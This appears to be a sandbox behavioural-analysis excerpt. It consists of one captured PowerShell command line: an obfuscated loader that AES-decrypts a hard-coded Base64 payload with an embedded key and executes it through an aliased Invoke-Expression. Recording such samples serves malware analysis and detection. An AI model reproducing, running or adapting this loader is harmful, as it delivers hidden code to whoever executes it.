Behavioral Analysis

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87249095873756925133548634564426CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIZLpL9xl3Py+l8SR7slUHUevBi1kBPUVFUCXAdS1V5ry05GEIxWvXEOEv1VXBCN/6cFqtMoGP0r3wozPtH3gBxltdo0dRAPTvI+5L5jNRlmpL7WSN11Y+o37cmQECE8m5yoQaueGAvWVRkCK/PJggM1f7GsQuVUav7ecHNhuvfvbIUtomkHUSPUynPB7YxjwHb9VVASA6ynKfVj20Nfj8WQ7m2yfUEf4iX1Z2RtVRce/Tc/UOEG/UJWb/SMU7rylafB8vATtzQFPJtzBfjVsf3peHeI8xleZA8YPEScObOBTc+uNaMICEVs7R4BLmsc4l8PCLyph5Lgp++ElK7qI4jtp/RHIJuqorKpX6Z6enzP2OnM6Gdkj3oeTd6TDHXJRaUSOu4AP12kaFVPUHjF/0HzsFavMzg+Z0486QdMYNBAx5AM0K/ux8BInwP0WVlwkexz3i8PtSLHiOZjMZM0mfpBrZzyj7YNu+99FOBZSBWkgl7GF4VBexJkO7BuZQ/8KFjHyZNiHjGUzAMeLD2YOxqqb7qXZvV86/mnCaAdvTRkrdbsedMvxZLGwcdO/kFSezhOQHAxj0nTy50GK0fRfN+EouESXq0TyVPKn6RQ7NZA/tp6SscNfu0IZCTxk5yAfLRq0UUSRFHK7JDTbqfXFgnrlaDktcVcvJ7chZWsyZlaeTn8UD1NVuoPbwAo+cceAVYjSIEs/4nJQy4FeV3hup3tAK5+q1xAcHEfz5lyvj9gxOFUsAbIEtWoQq49ZMNoOe4mdm1N915TDKBfBvjhQWlKPOFU6VpIS1fjh9bD9luXJcqT3WMfXD2+rOvtqB77xcyJ5U4HPTw2wM5NXisVtECe42SWZhBCulh7qInAsksm8Uasns4sgc4u/dzWk9Pd72ZpmVeZlCQ5dmIrXeilYleXmsZPtjGXQdQXU1be07ioVuMLFRlQAYgvUZZAcqu1x2ndcER9XrnH5yo4xSvEfTYXNR7mJcPBdCf/a0OrfwlnDoNrIJVuNCW5tSSdt4dc6+HTvdpurrcwqDwVRoj1FvcEKPEZSpnqSICFzcP/VUBP5HPm+AxruprcAOd+XuLkUIu2P9E9RFLDfe/FyC6ZMBoNVfIUlre8xrGhKU8YplJh4xUKmzJWmGzQaX52PbhdD+oQK4QmH+gz31Xd26dXnY2i3pkowffE2WT0Hd1q8OtjkgmN3cEJtNHPOh+y74t++HAmn28qyqMsHrp3ZvFeLsn5CipIEWqbj085ABBwfkGiGHRoTArXWxB+KLgIqXhU9MJ5HCihOfq+K4TsBwkDBq0kGKVi7yYHM0H7cXTtl8xaeYdszb3+8UYMTd/VnYFBCIczEr8wLjI6lA+Wh4gMUfan/X7R0sMw8zDoJezuccj93Ja8+pzRDpUXE41+2rd+N+Js0A4OpwbrL2dMigMJlceKXw7S3skJXJNFR4GWUS8plXZkj+8KQAq6mLfuY81ETRclFSZ8AwZQXPZaQdPCL8cpqVBjdHDxaJGUO2W5/WV6XwBBZQBWYW14JnnGep6zNhQeAFLQFqG5brETFxYXmg7mMgkb9LdJXrFTc2W6wcp9XNvzBOgTYtHvCXLaKSJ4hp5EmpZvBWzE9CJvwVjkK4usRXyfei5Y3CB02D6OGurX9Un56ijcMiHjrmxs+O0kqc0JhxR8LJUXbao7SYEvms+CayWu2ST8GQ7smRUi0VR6bIx3AE3mSQ6HJQ5dNBANiQSmIg3deBJmWbspKm7azWwKCytzN//aoV7zQViOO/34qAvsHA7lEy/DLqHEd0w+bLgM0Lo5vCElEUh6CCXB3XJA==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')